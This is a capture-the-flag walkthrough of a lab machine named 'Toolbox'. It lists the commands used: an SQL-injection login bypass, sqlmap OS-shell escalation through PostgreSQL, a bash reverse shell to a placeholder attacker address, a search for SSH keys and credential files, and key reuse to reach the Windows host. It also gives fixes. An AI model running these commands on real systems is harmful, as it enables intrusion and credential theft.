Toolbox
Summary
I scanned toolbox ($TARGET) and found HTTPS on port 443 serving nothing at the bare IP. Virtual-host fuzzing revealed admin.megalogistic.com — a PHP administrator login panel running inside a Docker container on a Debian/Apache stack.
A classic SQL-injection payload in the username field bypassed authentication without a valid password. Because the backend was PostgreSQL running with superuser privileges, I escalated the injection to full operating-system command execution inside the container using PostgreSQL's built-in COPY FROM PROGRAM feature.
A reverse shell gave an interactive foothold inside the Docker container. An SSH private key stored on the container's filesystem belonged to the Windows Administrator account; those credentials were reused over SSH on port 22 to connect directly to the underlying Windows host, granting full local administrator access and both flags — no further privilege escalation required.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 4
nmap -sV -sC -p 21,22,135,139,443,445,5985 --open $TARGET -oN toolbox_nmap.txtgobuster vhost -u https://$TARGET -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -k -t 40 2>/dev/null | grep -v '404'echo "$TARGET admin.megalogistic.com" | sudo tee -a /etc/hostscurl -sk -i --max-time 20 https://admin.megalogistic.com/ | head -n 30Exact commands 1
curl -sk -i --resolve admin.megalogistic.com:443:$TARGET -X POST --data-urlencode "username=admin' OR '1'='1'-- -" --data-urlencode 'password=x' https://admin.megalogistic.com/ | head -n 20FixParameterise all database queries — eliminate SQL injection in the login formCritical
Exact commands 2
sqlmap -u 'https://admin.megalogistic.com/' --force-ssl --data='username=admin&password=x' -p username --dbms=PostgreSQL --batch --level=3 --risk=2 --banner 2>&1 | tail -20sqlmap -u 'https://admin.megalogistic.com/' --force-ssl --data='username=admin&password=x' -p username --dbms=PostgreSQL --batch --os-shellFixRevoke PostgreSQL superuser rights from the web application database accountCritical
Exact commands 2
nc -lvnp 4444bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"Exact commands 3
find / -name id_rsa -o -name '*.pem' -o -name 'credentials' 2>/dev/nullcat /root/.ssh/id_rsachmod 600 administrator_id_rsa && ssh -i administrator_id_rsa administrator@$TARGETFixRemove SSH keys and plaintext credentials from Docker container filesystemsCritical
Exact commands 3
whoami && hostnametype C:\Users\Administrator\Desktop\user.txttype C:\Users\Administrator\Desktop\root.txtAttack patterns used
The transferable techniques behind this compromise.
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 21/tcp | ftp FileZilla ftpd 0.9.60 beta |
| 22/tcp | ssh OpenSSH for_Windows_7.7 (protocol 2.0) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | smb recon-sweep-discovered |
| 443/tcp | https |
| 445/tcp | smb recon-sweep-discovered |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 47001/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49665/tcp | unknown recon-sweep-discovered |
| 49666/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49668/tcp | unknown recon-sweep-discovered |
| 49669/tcp | unknown recon-sweep-discovered |